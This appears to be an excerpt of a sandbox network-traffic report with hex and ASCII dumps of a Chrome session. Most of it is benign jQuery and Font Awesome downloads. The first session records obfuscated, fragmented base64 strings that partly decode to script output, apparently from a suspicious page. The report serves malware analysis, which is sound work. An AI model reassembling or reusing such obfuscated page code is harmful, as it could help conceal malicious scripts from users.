2023-11-28 15:55:24 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 4b 58 22 2c 22 73 4e 22 2c 22 43 67 22 2c 22 6b 4a 22 2c 22 43 51 22 2c 22 6b 4a 22 2c 22 43 57 22 2c 22 52 76 22 2c 22 59 33 22 2c 22 56 74 22 2c 22 5a 57 22 2c 22 35 30 22 2c 22 4c 6e 22 2c 22 64 79 22 2c 22 61 58 22 2c 22 52 6c 22 2c 22 4b 43 22 2c 22 63 38 22 2c 22 61 44 22 2c 22 45 2b 22 2c 22 55 47 22 2c 22 78 6c 22 2c 22 59 58 22 2c 22 4e 6c 22 2c 22 49 45 22 2c 22 64 6c 22 2c 22 64 43 22 2c 22 42 68 22 2c 22 62 69 22 2c 22 42 68 22 2c 22 63 47 22 2c 22 6b 67 22 2c 22 61 32 22 2c 22 56 35 22 2c 22 49 48 22 2c 22 52 76 22 2c 22 49 48 22 2c 22 56 7a 22 2c 22 5a 53 22 2c 22 42 30 22 2c 22 61 47 22 2c 22 6c 7a 22 2c 22 49 48 22 2c 22 42 68 22 2c 22 5a 32 22 2c 22 55 38 22 2c 22 4c 32 22 2c 22 67 78 22 2c 22 50 69 22 2c 22 63 70 22 2c Data Ascii: 2000KX","sN","Cg","kJ","CQ","kJ","CW","Rv","Y3","Vt","ZW","50","Ln","dy","aX","Rl","KC","c8","aD","E+","UG","xl","YX","Nl","IE","dl","dC","Bh","bi","Bh","cG","kg","a2","V5","IH","Rv","IH","Vz","ZS","B0","aG","lz","IH","Bh","Z2","U8","L2","gx","Pi","cp",
2023-11-28 15:55:24 UTC	6	IN	Data Raw: 6a 55 79 74 59 53 Data Ascii: jUytYS
2023-11-28 15:55:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-28 15:55:24 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 7a 6c 6c 57 6d 4e 77 57 6b 74 4b 53 6b 6c 6f 59 57 39 57 55 56 64 42 54 30 5a 4a 65 48 4e 4d 51 6c 46 44 51 56 6c 52 61 6d 4e 79 55 48 4a 34 5a 6e 70 4c 56 6d 6c 72 56 30 46 33 52 30 6b 30 62 45 30 76 62 47 6c 78 57 6d 70 51 53 6b 4a 50 53 6c 70 43 57 56 56 46 59 58 6c 32 5a 32 46 5a 51 31 6c 77 56 30 6c 43 53 44 46 31 63 44 6c 51 64 45 4d 34 59 58 70 73 55 6d 4a 5a 4d 57 5a 75 52 6b 39 56 61 47 52 79 4d 57 74 77 57 6b 5a 4f 53 6a 6c 45 61 46 56 7a 61 48 70 58 53 6b 39 45 65 6b 4a 35 51 33 5a 69 53 30 5a 56 53 32 4a 50 4e 6b 4a 69 53 45 56 55 54 45 68 58 52 31 6c 33 62 54 51 79 52 7a 4e 59 5a 31 70 36 65 54 52 4c 53 6d 52 59 63 6d 52 6b 63 6a 4a 56 61 6c 6c 6c 4f 47 31 4d 54 54 4e 42 53 55 74 58 55 30 31 55 51 32 39 58 51 57 64 48 54 56 Data Ascii: 2000zllWmNwWktKSkloYW9WUVdBT0ZJeHNMQlFDQVlRamNyUHJ4ZnpLVmlrV0F3R0k0bE0vbGlxWmpQSkJPSlpCWVVFYXl2Z2FZQ1lwV0lCSDF1cDlQdEM4YXpsUmJZMWZuRk9VaGRyMWtwWkZOSjlEaFVzaHpXSk9EekJ5Q3ZiS0ZVS2JPNkJiSEVUTEhXR1l3bTQyRzNYZ1p6eTRLSmRYcmRkcjJValllOG1MTTNBSUtXU01UQ29XQWdHTV
2023-11-28 15:55:24 UTC	6	IN	Data Raw: 31 5a 55 46 6b 61 Data Ascii: 1ZUFka
2023-11-28 15:55:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	151.101.66.137	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:24 UTC	498	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:25 UTC	569	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 36 37 30 39 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 38 20 4f 63 74 20 31 39 39 31 20 31 32 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 32 38 66 65 63 63 63 30 2d 31 35 32 62 35 22 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 73 74 61 6c 65 2d 77 68 69 6c 65 2d 72 65 76 61 6c Data Ascii: HTTP/1.1 200 OKConnection: closeContent-Length: 86709Server: nginxContent-Type: application/javascript; charset=utf-8Last-Modified: Fri, 18 Oct 1991 12:00:00 GMTETag: "28feccc0-152b5"Cache-Control: public, max-age=31536000, stale-while-reval
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2023-11-28 15:55:25 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	104.17.24.14	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:24 UTC	551	OUT	GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:25 UTC	945	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 30 36 37 32 30 30 30 0d 0a 45 54 61 67 3a 20 57 2f 22 35 65 62 30 33 65 35 66 2d 37 39 31 38 22 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:25 GMTContent-Type: text/css; charset=utf-8Transfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Cache-Control: public, max-age=30672000ETag: W/"5eb03e5f-7918"Last-Modified: Mo
2023-11-28 15:55:25 UTC	424	IN	Data Raw: 37 39 31 38 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 41 77 65 73 6f 6d 65 27 3b 73 72 63 3a 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 65 6f 74 3f 76 3d 34 2e 37 Data Ascii: 7918/! Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 74 74 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 73 76 67 3f 76 3d 34 2e 37 2e 30 23 66 6f 6e 74 61 77 65 73 6f 6d 65 72 65 67 75 6c 61 72 27 29 20 66 6f 72 6d 61 74 28 27 73 76 67 27 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 66 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e Data Ascii: ts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inlin
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 73 70 69 6e 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 7d 7d 2e 66 Data Ascii: it-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.f
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 2c 2e 66 61 2d 73 74 61 63 6b 2d 32 78 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 66 61 2d 73 74 61 63 6b 2d 31 78 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 2e 66 61 2d 73 74 61 63 6b 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 69 6e 76 65 72 73 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 66 61 2d 67 6c 61 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 30 22 7d 2e 66 61 2d 6d 75 73 69 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 31 22 7d 2e 66 61 2d 73 65 61 72 63 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 32 22 7d 2e 66 61 2d Data Ascii: ,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 74 65 6e 74 3a 22 5c 66 30 32 33 22 7d 2e 66 61 2d 66 6c 61 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 34 22 7d 2e 66 61 2d 68 65 61 64 70 68 6f 6e 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 35 22 7d 2e 66 61 2d 76 6f 6c 75 6d 65 2d 6f 66 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 36 22 7d 2e 66 61 2d 76 6f 6c 75 6d 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 37 22 7d 2e 66 61 2d 76 6f 6c 75 6d 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 38 22 7d 2e 66 61 2d 71 72 63 6f 64 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 39 22 7d 2e 66 61 2d 62 61 72 63 